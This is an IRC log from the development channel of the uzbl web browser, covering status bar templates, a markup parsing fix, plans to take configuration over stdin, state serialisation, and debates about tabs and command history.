22:44  * DuClare embraces vim
22:47 < DuClare> Gotta say C that much of a joy to read after a year of Haskell & Scheme
23:00 < rob|> hehe
23:09 < rob|> jouz: any progress with the autopager thingy?
23:16 < jouz> rob|: sorry i just finished my linear algebra :D
23:17 < jouz> will tinker with now a little, but i'm tired... ;)
23:17 < rob|> sure, no hurry. just wanted to ask ;)
23:20 < rob|> gf calling, bbl.
23:38 < jouz> rob|: just tried autopager myself - i misunderstood it in the first place a little. It would be very easy to bind keys to find the "Next|>|->" and "Previous|Back|<" links and click them. Even loading the following page under the current one is possible...
23:42 < jouz> BUT: for recognizing the next page via the uri, and for loading only the relevant content under the current page, a LOT of page specific configuration is needed. This would get really messy to realize, just executing heavy-string-manipulated scripts using webkit_web_view_execute_script()...
23:44 < _19LIONZ> rob|: are you here ?
23:51 < rob|> jouz: ok, i see.
23:51 < rob|> _19LIONZ: yes ;)
23:52 < _19LIONZ> rob|: I added your status line in config
23:53 < _19LIONZ> I have a weired random number after the page link
23:53 < _19LIONZ> is that normal ?
23:53 < rob|> yes, that is the window id and the name of the fifo and socket
23:53 < _19LIONZ> oh , thaks
23:53 < rob|> you can just leave out the "NAME" bit if you don't want it
23:54 < _19LIONZ> It's not a bug , It's a feature :)
23:55 < _19LIONZ> rob|: So the page link is forced in the status bar ?
23:55 < rob|> forced? no, you can put in what you want
23:56 < rob|> see, uzbl.h there you'll find all supported values for the template
23:56 < _19LIONZ> rob|: oh sorry , It's past midnight here . I didn't see uri there
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00:05 < rob|> _19LIONZ: do you use colors on the statusbar?
00:06 < _19LIONZ> rob|: It's the same line from sampleconfig-dev
00:06 < rob|> ah, ok.
00:07 < _19LIONZ> rob|: i changed NAME to TITLE and PROGRESSBAR to PROGRESS
00:07 < _19LIONZ> rob|: great stuff
00:08 < rob|> :)
00:09 < _19LIONZ> Good night guys
00:09 < rob|> n8 _19LIONZ
00:12 < Masca> All this changes are in the experimental branch?
00:12 < rob|> yes
00:13 < Masca> It's it in AUR?
00:13 < rob|> hmm, don't know
00:13  * Masca yaourt -Ss
00:15 < Masca> Sure it is. uzbl-experimental.
00:15 < rob|> hehe, nice
00:15 < Masca> uzbl-experimental-git =P
00:17 < rob|> Masca: just shout if you managed to set up a decent color theme, we're searching for such a thing ;)
00:17 < Masca> uzbl.c:1003 wanting: 'config' may be uninitialized in this function.
00:18 < Masca> rob|: I'm just bad in colors. =( But I have nice frinds I can ask.
00:19 < rob|> don't worry about that warning
00:20 < Masca> Yeah, just pointing it out, I think it's worthless to create a patch just to fix that warning.
00:21 < rob|> i've already fixed it, though will wait with commiting until there is more worthwile stuff to push
00:23 < Masca> Mmm I have show_status = 1, Show status: True but I can't see the status bar.
00:23 < rob|> did you set "status_format"?
00:24 < rob|> i missed to provide a sensible default :(
00:25 < Masca> status_format = 1 ?
00:25 < Masca> I just cp it /usr/share/.../sampleconfig
00:25 < rob|> no, just have a look at "examples/config/sampleconfig-dev"
00:25 < rob|> the -dev one is for the experimental branch
00:25  * Masca cp ... -dev
00:27 < rob|> the status_format is the template where you specify what and how will be shown in the status bar
00:27 < Masca> Ohh it's a nice status bar. =P
00:29 < rob|> still missing some nice docs that explain the whole process, though you can have a look into uzbl.h to see what bits are supported already
00:30 < Masca> Will do... Just now I'm fighting matlab + circuit simulation. =(
00:31 < Masca> But you know... while matlab is running. I can do a lot of fun stuff... like reading code.
00:31 < rob|> yeah, matlab can be a bitch
00:32 < Masca> Yup. a slow and fat bitch.
00:32 < Masca> Just like firefox... but... you know, matlab is nicer.
00:32 < rob|> hehe
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00:39 < rob|> i'm off now, need to get up early this morning.
00:39 < rob|> cu guys..
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01:10 < cdarwin> I noticed that when I click a link that opens in a new window, it spawns two instances of the new window
01:11 < cdarwin> I just pulled following the main master
01:11 < cdarwin> does this happen for anyone else?
01:12 < jouz> yeah its known afaik
01:13 < cdarwin> k, thanks
01:13 < cdarwin> also just noticed that the statusbar doesn't display anything for me
01:14 < cdarwin> I have to turn it off and rely on dwm's main status bar for confirmation  of key presses
01:14 < cdarwin> although, I haven't tried the new config, let me check that
01:14 < jouz> hmm rob| left already - i think they are still buisy gettin the statusbar straight...
01:14 < jouz> i'll leave as well... i think our timezones are incompitable ;)
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01:16 < cdarwin> thats ok, I'll do a better job of reading scroll too
01:16 < cdarwin> and yes, out timezones are way off
01:16 < cdarwin> I need to play more while I'm at work and you guys are still awake :)
01:18 < cdarwin> I'm likeing the new link following, fwiw
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09:14 < Dieterbe> rob|2: 
09:14 < Dieterbe> 00:25:36 < rob|> no, just have a look at "examples/config/sampleconfig-dev"
09:14 < Dieterbe> 00:25:51 < rob|> the -dev one is for the experimental branc
09:14 < Dieterbe> not really
09:14 < Dieterbe> IIRC the -dev one points to ./<...> while the non-dev points to /usr/share/..
09:15 < Dieterbe> cdarwin: we don't have a default for the statusbar yet, we should have a default.  that's why it's empty
09:27 < rob|2> morning.
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09:27 < rob|> Dieterbe: oh, i see.
09:42 < rob|> Dieterbe: http://github.com/robm/uzbl/commit/02710b3e52847c21d4bf552e37aff0df2ab6118a
09:42 < rob|> Dieterbe: and here is how i made it look like:  http://omploader.org/vMW41aA
09:50 < Dieterbe> rob|: purrrrfect
09:55 < rob|> ok
09:56 < rob|> in the last push i reordered the bits so we get an instant statusbar without any site needing to be loaded
10:00 < Dieterbe> great
10:01 < rob|> i'll be away in an hour or so for almost the rest of the day
10:01 < rob|> so if there are any issues you better be fast ;)
10:07 < rob|> milestone conference, boring..
10:07 < Dieterbe> :)
10:08  * Dieterbe looks
10:08 < alterecco> quick question. Im running awesome. When i have the statusbar turned off, the titlebar is written into the windows name. is this a feature?
10:08 < rob|> yes
10:08 < alterecco> ok then :)
10:09 < alterecco> not a bad one, just wondering if i was seeing some weird behaviour
10:10 < Dieterbe> rob|: why is "EXIT_SUCCESS" bettor then 0 ?
10:10 < rob|> because that is defined by the standard, EXIT_SUCCESS musn't necessarily be 0 on every platform
10:10 < rob|> s/musn't/doesn't have to/
10:10 < Dieterbe> hmm i see
10:11 < Dieterbe> in which .h file are EXIT_* defined?
10:11 < rob|> unistd.h iirc
10:13 < rob|> err, stdlib.h
10:14 < Dieterbe> rob|: / alterecco though imho, we should forsee customisation of window name. eg window_name_without_statusbar , window_name_with_statusbar
10:14 < DuClare> Good morning. o/
10:14 < Dieterbe> which does the same variable replacing as with statusbar, but no colors/bold/.. of course
10:14 < rob|> Dieterbe: right, update_title() definitly needs some loving
10:15 < alterecco> making it configurable is always a welcome change :)
10:16 < rob|> exactly, we're a bunch of control freaks after all ;)
10:16 < alterecco> so true
10:17 < alterecco> on that note, Thanks for this browser Dieterbe... more control is more pleasure (when it comes to os's)
10:18 < Dieterbe> you should also thank the other guys.  Only a fraction of the code in uzbl comes from me
10:18 < alterecco> noted... still... first man on the moon aint bad :)
10:18 < Dieterbe> hehe. true :)
10:19 < alterecco> i'm not a C dev unfortunately, but i will try to help out as I can
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10:19 < alterecco> given the time
10:19 < DuClare> Who are actually writing code for uzbl?
10:20 < Dieterbe> all the people listed in the AUTHORS file
10:20 < DuClare> Ah, of course.
10:43 < rob|> i'm off, cu you guys later...
10:46 < Dieterbe> have fun in the meeting rob| :)
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15:44 < rob|> re
15:47 < Dieterbe> wb
15:47 < rob|> i'm just thinking that we could completly avoid the config file.
15:47 < rob|> we already have code/a protocol to communicate over fifios and sockets
15:47 < rob|> why not implementing all settings allowed in the config file as commands in this interface
15:48 < rob|> that way you would write a config file in almost the same way as it is now but would do "uzblctrl --sen_file config"
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15:48 < rob|> and would benifit from the possibility to alter config at runtime
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15:59 < Dieterbe> sounds good
16:03 < rob|> yeah, we could also just cat the config file to the fifo that would be evem simpler
16:04 < Dieterbe> hmm wait a minute
16:04 < Dieterbe> fifo path is now configured in config file
16:04 < Dieterbe> we would need to pass fifo/socket path's as commandline arguments
16:04 < rob|> hmm, true
16:05 < Dieterbe> and also --name
16:06 < rob|> well, that's not a big thing imo as you would invoke uzbl and 'cat config' at the same time, probably from within a wrapper script
16:06 < rob|> so you now the correct values
16:06 < rob|> *know
16:07 < Dieterbe> no, but it makes me wonder.. is this really worth it.. to pass somethings as cmdline args instead of keeping just everything in the config, using wrapper scripts to do the whole thing,..
16:07 < rob|> well, i'm not talking about cmd line args
16:08 < rob|> oh, nvm
16:08 < Dieterbe> but when launing ubzbl, it needs at the very least a fifo and socket path
16:08 < Dieterbe> so you would need to use cmdline args for those
16:09 < rob|> well, as i said above the benefits i see are - get rid of all config file code, improve an existing feature and benefit from instant configuration updates
16:10 < Dieterbe> "get rid of all config file code" this is not an objective benefit, because now you'll need code to interpret much more incomming commands
16:10 < Dieterbe> instant config updates.. true.. though i'm not sure wether i need something like that, and if it would make up for the added complexity (wrapper script)
16:12 < rob|> well, i guess by providing sane defaults most people wouldn't even need a config file and those who need one can easily figure out how to write such a simple wrapper
16:14 < Dieterbe> i'll think about it more while driving home
16:14 < Dieterbe> see you soon
16:14 < rob|> ok
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17:06 < Dieterbe> rob|: i got it !!
17:06 < rob|> ok, tell me more
17:06 < Dieterbe> while driving home, i was thinking how we could use something "consistent" we could rely on to send stuff to uzbl before telling it what fifo/socket paths to use
17:07 < Dieterbe> the answer is very simple :)
17:07 < Dieterbe> stdin !
17:08 < Dieterbe> we just write echo the initial config into the stdin of the instance we're launching
17:09 < rob|> exactly that was what i though about. just add one more fd, maely stdin, that we watch for commands
17:09 < rob|> *namely
17:09 < rob|> right, so you's use "uzbl < configfile"
17:10 < alterecco> curious, what is the argument for not just using XDG defaults for path, and hardcoding a fallback in the source?
17:10 < Dieterbe> we should just figure out if we can use stdin in the event loop similar to how we use socket/fifo, *or* block the app until we read EOF (meaning you cannot send stuff into stdin anymore after uzbl "lifted off". but by then you have the socket/fifo)
17:10 < Dieterbe> alterecco: simplicity
17:10 < alterecco> in the source or in the user setup?
17:10 < rob|> both
17:11 < alterecco> hmmm
17:11 < Dieterbe> rob|: one other issue though, is how we will treat newly spawned instances. right now when you open a link in a new window, we just fork a new uzbl process with the same commandline args (except --uri), allowing it to read the config
17:12 < rob|> hmm, good point
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17:13 < alterecco> if i may, i cannot really see how it can get any simpler than using a (proposed) desktop standard
17:13 < Dieterbe> maybe we could buffer all incoming stdin requests and "replay them" when launching a new instance.. or just go over all known "objects" (bindings etc), and generate the commands to bring them in the equivalent state
17:14 < rob|> well, we buffer the requests anyways in the state and behaviour structs
17:14 < Dieterbe> alterecco: well, if we would be able to get rid of the config file (see issue above), all "settings changing" happens through the same format.  we can parse stdin/socket/fifo in the same way and don't need extra code to handle the config file
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17:15 < Dieterbe> rob|: yeah, so that's my #
17:15 < Dieterbe> #2
17:15 < Dieterbe> but then the question becomes, how much code will we need to write the "stdin generator"
17:16 < rob|> hmm, doesn't glib provide serialization functions?
17:16 < alterecco> why not just have a large option parser then, a la' dzen?
17:16 < Dieterbe> alterecco: for the exact reason i just said
17:17 < alterecco> i was just thinking specifying it all on the commandline
17:18 < alterecco> but i guess i will do best by leaving this to the devs :)
17:18 < rob|> no, that would mean a cmd line argument per command
17:19 < rob|> but if we could serialize the structs to a string and pass that to the new instance everything would be just trivial
17:19 < rob|> afaics glib does nor provide any serilazation functions, though
17:19 < rob|> xmonad does it in the same way, btw
17:20 < Dieterbe> "everything would be just trivial" -> not just trivial, but f****** sweet too
17:21  * Dieterbe googling.. http://www.haskell.org/pipermail/xmonad/2007-May/000426.html
17:24 < Dieterbe> let's rewrite uzbl into haskell :P
17:25 < Dieterbe> http://tpl.sourceforge.net/
17:27 < rob|> hmm, loks good at first glance
17:28 < Dieterbe> yeah, but also quite some code for "just" doing the job
17:28 < rob|> not sure if we can serialize our current data structures with that, though
17:28 < Dieterbe> you need to explicitly define formats
17:28 < rob|> well, you surely can't have serialization at no costs
17:29 < Dieterbe> me neither.  it looks like you can use structs, but only if there elemnts are native datatypes
17:29 < rob|> right
17:29 < Dieterbe> well, in a language like python it would do introspection or whatever so could serialize a whole structure with one command
17:29 < Dieterbe> i guess you cannot do such things in C
17:30 < rob|> no, not that easily :(
17:30 < Dieterbe> whoa holy shit.  this will be sweet for restorring sessions and stuff too
17:30 < rob|> sure
17:31 < dodobas> how can i see/copy current location
17:31 < Dieterbe> dodobas: it's the last entry in your history fil
17:31 < Dieterbe> file*
17:32 < dodobas> ahh :) kuul
17:33 < Dieterbe> similar project : http://s11n.net/c11n/
17:40 < Dieterbe> #
17:40 < Dieterbe> S(ci) is a structure containing a char and integer
17:40 < Dieterbe> #
17:40 < Dieterbe> S(ci)# is a fixed-length array of the latter structure
17:40 < Dieterbe> it may be possible to do it all in 1 go
17:40 < Dieterbe> with tpl
17:41 < rob|> it also has a nested structure type ($)
17:43 < Dieterbe> yeah indeed i'm also just reading that
17:43 < rob|> hmm, looks promising
17:44 < Dieterbe> yeah i don't really get how they work with pointers and double pointers though
17:44 < Dieterbe> they store char *s as type string and use &s for the data
17:47 < Dieterbe> http://troydhanson.wordpress.com/feed/ a release less then 2 weeks ago
17:54 < rob|> hmm, i guess we could do this in an easier way by just using fork
17:54 < rob|> and telling the child via stdin the new uri
17:57 < Dieterbe> d'oh
17:57 < Dieterbe> simplicity prevails again!
17:58 < rob|> hehe
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18:06 < rob|> hmm, but that would probaly fail because of the same xid
18:06 < rob|> well, most certainly
18:10 < Dieterbe> hmm i don't know what happens to client windows when you fork the process (yet) but if there's a problem we could probably work around it by rendering a new window or somethin, no?
18:11 < Dieterbe> rob|: ^^
18:12 < Dieterbe> + <span font_family="monospace"> -> <span font_family="monospace" background="#99CCFF"> should work no? pango is telling me it can't parse this
18:15 < Dieterbe> hmm must be something with the '#'
18:15 < Dieterbe> when launching uzbl, it says "Status format:  <...>" which is correct
18:15 < Dieterbe> but then i get: (uzbl:29150): Gtk-WARNING **: Failed to set text from markup due to error parsing markup: Error on line 1 char 126: Document ended unexpectedly while inside an attribute value
18:16 < rob|> hmm, let's see
18:23 < rob|> ok, i guess i found the error
18:24  * Dieterbe sets mode +curious
18:25 < rob|> just a sec i'll push it
18:29 < rob|> ok pushed
18:30 < rob|> http://github.com/robm/uzbl/commit/c0ba28cb2c4f667bf80c0417e651a086caa1201c and the former one
18:30 < Dieterbe> it's pink aaaargh
18:34 < rob|> is it working for you?
18:34 < Dieterbe> yea
18:34 < rob|> ok
18:35 < Dieterbe> i wonder if we can't color the whole statusbar though
18:35 < Dieterbe> instead of just the labels background
18:35 < Dieterbe> or alternatively, make the label span the whole width
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18:39 < github> uzbl: Robert Manea experimental SHA1-02710b3
18:39 < github> added default status_format
18:39 < github> http://bit.ly/9P79g
18:39 < github> uzbl: Robert Manea experimental SHA1-2859202
18:39 < github> reordered status code
18:39 < github> http://bit.ly/du68F
18:39 < github> uzbl: Dieter Plaetinck experimental SHA1-5a77f9d
18:39 < github> todo
18:39 < github> http://bit.ly/WmOHb
18:39 < github> uzbl: Dieter Plaetinck experimental SHA1-1d8ee24
18:39 < github> Merge commit 'rob/master' into experimental
18:39 < github> http://bit.ly/4soGs
18:39 < github> uzbl: Robert Manea experimental SHA1-1c9ca71
18:39 < github> made statusbar selectable, fix bug in parse status to not ignore # chars
18:39 < github> http://bit.ly/t7H7s
18:39 < github> uzbl: Dieter Plaetinck experimental SHA1-838c824
18:39 < github> Merge commit 'rob/master' into experimental
18:39 < github> http://bit.ly/Y8O3s
18:39 < github> uzbl: Dieter Plaetinck experimental SHA1-3900127
18:39 < github> bit nicer default statusbar look
18:39 < github> http://bit.ly/A5jQs
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18:40 < cdarwin> [OT] it seems a decent percentage of you folks use arch, any advise for a traditionally debian user for taking the plunge?
18:41 < cdarwin> I've got it all installed on a spare partition, about to begin installing X
18:42 < cdarwin> the wiki is sufficiently verbose, I like that
18:42 < dodobas> advice? no problem no advice :D
18:42 < cdarwin> fair enough :)
18:43 < Dieterbe> just make sure your libs are up to date (see INSTALL file)
18:44 < cdarwin> Dieterbe: do you mean in reference to uzbl specifically?
18:45 < Dieterbe> oh.. do you mean you're installing arch?
18:45 < cdarwin> correct
18:45 < dodobas> cdarwin: if you like to know what is your system doing u'll probably like archlinux, a bit of tinkering here and there but IMHO it should not be a problem for 'traditionally debian user' :)
18:46 < Dieterbe> this channel is not #archlinux btw
18:46 < cdarwin> lol, I know, sorry I will stop
18:51 < Dieterbe> rob|: hmm.. we already use the  expand and fill flags when adding mainbar_label to mainbar.
18:57 < rob|> i'm not aure wether you can do this with the markup language
18:58 < Dieterbe> yeah, i'm asking in #gtk+
18:58 < Dieterbe> are there more tags besides <span> and <markup> ?
18:58 < Dieterbe> couldn't find much about that
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19:02 < Dieterbe> rob|: http://library.gnome.org/devel/gtk/unstable/GtkWidget.html#gtk-widget-modify-base
19:02 < Dieterbe> though some one brought up the good point of gtk themes..
19:04 < rob|> yeah, seems reasonable
19:04 < rob|> need to leave now, bbl
19:10 < _19LIONZ_> So, Is there a final mascot for uzbl ?
19:13 < Dieterbe> yeah
19:13 < _19LIONZ_> Dieterbe: link ?
19:13 < Dieterbe> i'll put it on the website maybe later today
19:13 < _19LIONZ_> Dieterbe: ok
19:22 < _19LIONZ_> Dieterbe: are you planning to add command history for commands that need return to execute
19:24 < dodobas> firefox vs. overweighted cat :D
19:24 < dodobas> oh what a great pun :D
19:32 < Dieterbe> _19LIONZ_: no
19:32 < Dieterbe> unless anyone can give me a good usecase
19:33 < Dieterbe> +maybe
19:35 < _19LIONZ_> Dieterbe: would be useful if you use as search engine & you misspelled a word
19:35 < _19LIONZ_> Dieterbe: or entered a url manually & it turned out to be wrong
19:36 < _19LIONZ_> as = a
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19:36 < _19LIONZ_> plus the vim-like commands philosophy
19:37 < DuClare> For that to be useful, you need a good inline text editor...
19:37 < DuClare> Otherwise you'll just waste time with backspace.  Starting from scratch would be just as fast, if not faster.
19:38 < _19LIONZ_> DuClare: not really , like shell history , command history in vim ...etc
19:38 < DuClare> But then again I could imagine somebody having a custom command that needs to be repeated
19:38 < DuClare> _19LIONZ_, How do you edit the line?
19:38 < DuClare> Currently there's just bs
19:38 < DuClare> And bs + correct + write the rest again is slow
19:39 < _19LIONZ_> DuClare: you mean moving the cursor left and right
19:39 < _19LIONZ_> ?
19:39 < DuClare> Yeah, and it has to know word delimiters, move to beginning / end, etc. to be useful
19:39 < Dieterbe>  _19LIONZ_> Dieterbe: or entered a url manually & it turned out to be wrong -> i will make this work without command history (by using awmenu, my dmenu replacement)
19:40 < Dieterbe> oh and unix philosiy != implementing text editors/shells inside another program
19:40 < _19LIONZ_> Dieterbe: I meant the vim-like part
19:40 < DuClare> Also, you'll need keys for deleting whole words and whatnot.  Without such, it's just too slow to make a correction and you're better off typing the whole thing again (unless you're typing some amazingly long searches or urls, which is a corner case)
19:41 < _19LIONZ_> anyway , I thought it would add minimal flexibility for all commands
19:41 < _19LIONZ_> Dieterbe: the decision is yours afterall
19:42 < DuClare> What do you mean by the "vim-like part"
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19:43 < DuClare> How many robs are there?
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19:43 < _19LIONZ_> DuClare: uzbl = unix philosophy + keyboard controlled + vim-like bindings &keys
19:44 < _19LIONZ_> DuClare: vim has command history when you press ":" and go 'up' and 'down'
19:44 < DuClare> = write an integrated, vim-like text editor = no
19:45 < _19LIONZ_> DuClare: I'm not talking about text editor capabilities
19:45 < DuClare> There is more to the command history than just fetching past commands.  If you've made a typo, you need to correct it.  That's text editing.
19:46 < Dieterbe> maybe we could look to libraries such as readline
19:46 < _19LIONZ_> DuClare: It could be as simple as moving the cursor and deleting,writing charachters . or a feature-full text editor
19:46 < Dieterbe> i cannot be against using existing libraries if they are easy to implement :)
19:46 < _19LIONZ_> DuClare: I'm asking for the 1st
19:47 < _19LIONZ_> Dieterbe: your a doplomatic project manager .
19:47 < DuClare> _19LIONZ_, What constitutes "moving the cursor"?  If it's character-by-character to the left or right, then it's ridiculously limited and I'd be asking why don't we have a proper line editor here..
19:47 < _19LIONZ_> Dieterbe: not like that glibc guy
19:47 < DuClare> Not to say that I'm against command history, but it has its problems.
19:48 < _19LIONZ_> DuClare: I expressed my thoughts . I'm gonna leave it to the developers to decide
19:51 < DuClare> I wonder if it'll be possible to implement that via scripts?
19:51 < DuClare> I so hate it when a potentially great piece of software descents to being good only, because people can't agree on what features are to be implemented and what are not
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19:55 < DuClare> Vim and emacs give you a bunch of features to choose from ... and you ignore the rest.  It doesn't hurt if there's something you don't want/need but somebody else does.  But that's not the way to go when developer resources are limited and light weight is a desirable quality..
19:57 < DuClare> This is where users should be given the power to decide for themselves.
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19:58 < Dieterbe> actually i think being able to do what you want to do is more important then that 0.01% bit of performance such feature costs
19:58 < Dieterbe> and i think something like readline could be "the thing that allows you best to do what you want to do"
19:59 < Dieterbe> but of course, I prefer we first explore ways to avoid it
20:02 < Dieterbe> but I have to say, I am so one who changes his opinion a *lot* :)
20:02 < Dieterbe> i changed my opinion at least 5 times during the tabs debate:P
20:02 < DuClare> It's okay
20:03 < DuClare> At least we'll see different points of view
20:04 < Dieterbe> yeah, and even if we would do something like bashrun (spawn an xterm consisting of just 1 line showing a bash instance) I think it would be slower and less convenient then building it in
20:04 < DuClare> Yup
20:04 < DuClare> I agree
20:05 < ruskie> *yawn*
20:06 < ruskie> hmm 5 times??? so that means it can still change?
20:08 < Dieterbe> sure
20:08 < DuClare> What was the debate wrt tabs?
20:08 < Dieterbe> basically there are 3 options: build in gtk widgets, but pretty much everyone doesn't like that
20:08 < Dieterbe> or use Xembed
20:08  * ruskie does
20:08 < Dieterbe> or keep everything pretty much as it is, but use dmenu to select other instances
20:08 < ruskie> the gtk tabs are nice since they can be moved around since forever
20:09 < _19LIONZ_> ruskie: Is it pleasing when a crash takes with it all the pages open ?
20:09 < DuClare> Is webkit the sole reason we're using gtk right now?
20:09 < ruskie> _19LIONZ_, isn't it possible to swallow just single instances?
20:09 < Dieterbe> why would any sane person "move around tabs".  tabs are not a goal, they are a means.  the goal is having multiple pages open and being able to switch views between them easily.
20:09 < ruskie> so if an instance dies it only takes that tab away?
20:10 < _19LIONZ_> Dieterbe: what about "window mangers should do that"
20:10 < Dieterbe> _19LIONZ_: that's option 3
20:10 < Dieterbe> sort of
20:10 < Dieterbe> :P
20:11 < _19LIONZ_> Dieterbe: and my favourite
20:11 < _19LIONZ_> Dieterbe: everyone should tile :)
20:11  * ruskie would like to see atleast a way to have a in uzbl binding to switch between them
20:11 < ruskie> don't really care about tabs more than that
20:11 < DuClare> Why in uzbl?
20:11 < _19LIONZ_> ruskie: use a functional WM
20:12 < ruskie> _19LIONZ_, I am... it's called fvwm
20:12 < ruskie> they tend to just be a way of a quick overview to see what's loaded already or not
20:12 < DuClare> What's wrong with fvwm's bindings?
20:12 < ruskie> I'd be happy with a single status line of all open instances with one char with just signifies red unloaded green loaded black seen
20:13 < ruskie> but I use different bindings to switch tabs alt+. alt+, than between apps alt+tab
20:13 < Dieterbe> _19LIONZ_: actually i use a tiling Wm (wmii), but I'm not aware of a simple way to have.. say 20 uzbl instances open in one tag and the ability to easily switch between them
20:13 < _19LIONZ_> Dieterbe: I use Awesome currently .
20:14  * DuClare runs xmona
20:14 < _19LIONZ_> Dieterbe: there is a maximised mode and you swich between active windows
20:14 < _19LIONZ_> Dieterbe: in dwm it's called monochrome i think
20:16 < ruskie> as for everyone should tile... my own experienci with tilling wm's was that it's more troublesome than my fvwm config
20:16 < Dieterbe> _19LIONZ_: so what do you do when you have 20 uzbl windows open. one of them is called "foobar" , another "barbaz" and the 18 others have other misc names. what do you do when you have foobar fullscreened and you want to see the barbaz one?
20:17 < _19LIONZ_> Dieterbe: I'm not sure I understand
20:18 < _19LIONZ_> Dieterbe: you mean going to a page fastly depending on its title ?
20:18 < Dieterbe> by whatever means.  you just know you want to go to the window that has page barbaz showing.  use whichever method you think is best to go to it
20:18 < Dieterbe> but tell us how you do it.
20:19 < DuClare> Dieterbe, How do you do it with tabs?  With xmonad, you can have the wm arrange windows in tabs
20:19 < DuClare> Then you use the same keys you use to change focus... or click a tab.
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20:21 < _19LIONZ_> Dieterbe: you can move fast between windows changing the focus
20:21 < _19LIONZ_> Dieterbe: there is another mode (not tiling)
20:21 < DuClare> One could create custom layouts and custom bindings ... I'm not sure where and what would be the limit if there is such.
20:21 < _19LIONZ_> Dieterbe: http://omploader.org/vMW43aw
20:22 < DuClare> Haha
20:22 < ruskie> http://ruskie.codemages.net/caches/gkrellShoot_05-08-09_201400.png <-- this is how I would like to see instance states(the 1 2 3 at the bottom) and ability to switch between them in uzbl through a keybinding)
20:22 < DuClare> Book a hostel.. as if they were tabs for the window on the foreground
20:23 < ruskie> it should be aware of the instances and be able to switch but beyond that each instance should be it's own process and if one dies it would only get deregistered
20:24 < ruskie> also doesn't need to be numbered... I'd be just as happy with an arbitrary fixed char there
20:24 < DuClare> ruskie, That isn't a bad idea either.. the benefit over letting the wm handle it is that you can actually make the status have an effect on the appearence.  Of course one could configure his wm to do that, but then I'd ask if it's the wm's job to tell the status of the browser
20:24 < ruskie> an app should be usable without a WM entirely
20:24 < DuClare> Colours are more space-efficient than plain markings in titles
20:25 < ruskie> well the colours here show the 3 states
20:25 < DuClare> Uh.
20:25 < ruskie> black - seen
20:25 < ruskie> red - loading
20:25 < DuClare> Yup
20:25 < ruskie> green - loaded, unseen
20:26 < DuClare> Again, I'd perhaps like it best if I could script such a display
20:26 < DuClare> :x
20:26 < DuClare> Maybe.. maybe not
20:26 < ruskie> DuClare, I wouldn't be suprised if that would be the final solution
20:26 < DuClare> ruskie, Scripting or the idea you propsed?
20:26 < ruskie> scripting
20:26 < DuClare> proposed.  Sorry, I got a new keyboard yesterday.
20:27 < ruskie> I have no delusions that my ideas have any merit over anyone elses
20:27 < ruskie> I still like to propose them if nothing else someone might point out that they are pointless or to hard to do or anything else ;)
20:28 < ruskie> also I would expect delimiters generally between the chars
20:44 < ruskie> I guess that killed the conversation
20:45 < DuClare> Not really
20:55 < Dieterbe> i was away for food, but now i'm back gone
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20:55 < github> uzbl: Dieter Plaetinck experimental SHA1-9155f75
20:55 < github> support for changing the background color of the statusbar correctly
20:55 < github> http://bit.ly/BHkKL
20:55 < github> uzbl: Dieter Plaetinck experimental SHA1-1989242
20:55 < github> *sweet ass sample statusbar layout*
20:55 < github> http://bit.ly/sdR9g
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20:55 < Dieterbe> i'll check your thoughts later
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22:09 < DuClare> ruskie, I wanted to say that I really like your idea and if I had to pick, it'd be very high on the list.  I also like constructive discussion, and differing ideas will contribute however stupid they are.  Even bad ideas can be improved upon, and on the other hand, parts of such ideas can be merged with another idea to make a superior one.  Finally, can be pointless and just stupid, but they can add a point of view that'll help ...
22:09 < DuClare> ... discover flaws in existing ideas. :)
22:13 < DuClare> ruskie, This status display could very well co-exist with tabs or whatever is decided upon.
22:44 < Dieterbe> I don't really understand ruskie's idea
22:44 < Dieterbe> so you have 3 numbers that show the state seen/loading/unseen
22:45 < Dieterbe> but what does it have to do with other windows/tabs?
22:52 < Dieterbe> btw rob|3 i committed a very nice sample statusbar layout (imho :)
22:53 < cdarwin> I aaprove :)
23:05 < Dieterbe> _19LIONZ: http://www.uzbl.org/
23:09 < DuClare> Dieterbe, Each number is a window/tab/whateveryoucallthem
23:11 < DuClare> So when number 1 is black, it means the first tab has been loaded and seen.  The third tab is green, which means it has been loaded on the background and you haven't seen it yet
23:11 < ruskie> Dieterbe, the 3 are just an example... it would go to an arbitrrary amount... one for each instance
23:12 < Dieterbe> uhu
23:12 < DuClare> I'm not sure I'd use numbers myself .. but the basic concept is the same
23:12 < DuClare> I'd shorten the titles like dillo
23:12 < Dieterbe> yeah i like the color ~ status concept
23:12 < ruskie> I'd be happy if each would be just a "#" or any other arbitrary char
23:13 < DuClare> Yup.  Personal preferences.
23:13 < ruskie> as long as I would have a single spot to view them and be able to switch between them using a keybind
23:13 < Dieterbe> but the main question is: how do you easily switch to another window
23:13 < ruskie> each uzbl instance would need to be aware of the others somehow
23:13 < DuClare> Yeah, this one doesn't give the answer.  It's just a nice status display
23:13 < DuClare> That's why I said it can coexist irrespective of what we decide to use wrt tabs
23:14 < DuClare> -co
23:14  * ruskie shuts off display
23:14 < Dieterbe> btw what do you guys think about the logo on http://www.uzbl.org/ ?
23:17 < DuClare> Umm .. not something I would've expected to see :)
23:17 < _19LIONZ> Dieterbe: nice log
23:17 < _19LIONZ> Dieterbe: logo
23:17 < _19LIONZ> Dieterbe: As I expect this project to go big
23:18 < Dieterbe> DuClare: what did you expect then?
23:19 < _19LIONZ> Dieterbe: I took the privilige to create a group http://identi.ca/group/uzbl
23:20 < DuClare> Hm.  Something very simple and light.  Two, maybe three colours at most.  Simple boxed and/or round shapes. :>
23:20 < DuClare> Don't listen to me, I'm not an artist
23:20 < _19LIONZ> this site seems to be popular among competent users
23:25 < Dieterbe> _19LIONZ: how do you know?
23:25 < _19LIONZ> Dieterbe: about what
23:26 < Dieterbe> _19LIONZ> this site seems to be popular among competent users
23:26 < Dieterbe> do you have.. like.. statistics?
23:26 < _19LIONZ> uzbl development is taking all your time ?
23:27 < Dieterbe> much of time, yes
23:27 < _19LIONZ> Dieterbe: http://identi.ca/group/archlinux
23:27 < Dieterbe> why?
23:27 < DuClare> I doubt I've heard of identi.ca before.
23:27 < DuClare> Uh.
23:28 < _19LIONZ> Dieterbe : A topic about twitter was open in bbs(the forum)
23:28 < _19LIONZ> Dieterbe: It turned out open-source people use identi
23:28 < DuClare> Twitter, competent..?! ;)
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23:33 < github> uzbl: Dieter Plaetinck experimental SHA1-d017f37
23:33 < github> todo
23:33 < github> http://bit.ly/s2MJg
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23:34 < _19LIONZ> the nice feature in this site is that you can use jabber/gmail IM to send/recieve microblogs
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00:20 < Dieterbe> lol _19LIONZ you put the icon on it :)
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08:39 < ruskie> good morrow all
08:39 < wraith0x2b> mornin'
10:11 < DuClare> o/
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10:56 < Dieterbe> morning dudes
